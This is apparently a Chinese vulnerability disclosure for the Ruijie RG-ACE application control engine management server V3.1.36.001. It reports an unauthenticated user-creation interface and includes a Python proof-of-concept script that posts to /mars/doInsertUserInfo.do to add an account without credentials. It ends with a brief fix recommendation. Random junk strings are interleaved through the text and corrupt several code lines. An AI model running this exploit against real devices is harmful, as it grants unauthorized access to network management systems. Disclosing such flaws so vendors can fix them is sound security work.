锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）
  |, ~  ~/ S9 y. i* X( k
0 X7 x- `5 {( _% m2 U; _$ g
测试的具体版本是
产品名称: 锐捷应用控制引擎
版本号: 3.1.36.001 TC
编译时间: 201104291730
( h+ p* @, S( D' |( T0 ^6 w# r

漏洞证明：




: J3 ?* B! z6 l2 R. B6 g

执行脚本
% h* i, v* Q; C/ K2 I' G#! /usr/bin/env python
#coding=gbk
#RG-ACE管理服务器 V3.1.36.001
: _- K7 S7 @* D2 wimport urllib2, urllib,cookielib
1 j; x% x" \! X4 Vurl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
5 {3 V- f1 H5 P3 t0 i. H5 Lopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
post=(("event","userManager.doInsertUserInfo"),
7 Q6 _6 s. b4 j% s("useractionname","addButtonValue"),
# m( r: l/ O4 ]$ Y("useropermanager","userManager"),
("userName","t"), #######账号自己加
4 b# Q. A! R+ Y; k/ D& e! a4 b("pwd","aaaaaa"),######密码自己加
("trueName","ad"),
+ k: X1 ~" W, d("email",""),
("mobilePhone",""),
" f& j0 t! b) @' `) w("officePhone",""),
8 V4 D& z: p# {3 m/ x9 |("addr",""),
("submit","确定"))
urllib2.install_opener(opener)
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"
( I3 s6 f" u0 i; G5 x- d; T
- q. R. i, r1 J: P登录，连接设备
+ [$ h/ Y% N+ k4 j3 u1 O+ G) K
1 B3 O; h- D# [( h8 o; Q3 c

. m' s/ z  ?/ ^2 L/ b  P! E" t8 t
7 j' P5 A# L9 J( q9 k$ i
, ]3 D3 k: R, o+ V0 d默认的管理员admin权限更大点

! e: t$ V4 f: T$ L/ u0 T) r5 Y1 |
+ k4 X) V5 V2 @. \' q( ^
4 r% e* F3 w* ^7 g& ?% Y% D
$ ], V& f5 p+ U# U8 s
修复方案：
加强对接口的权限验证
  }/ z/ [: b1 F3 O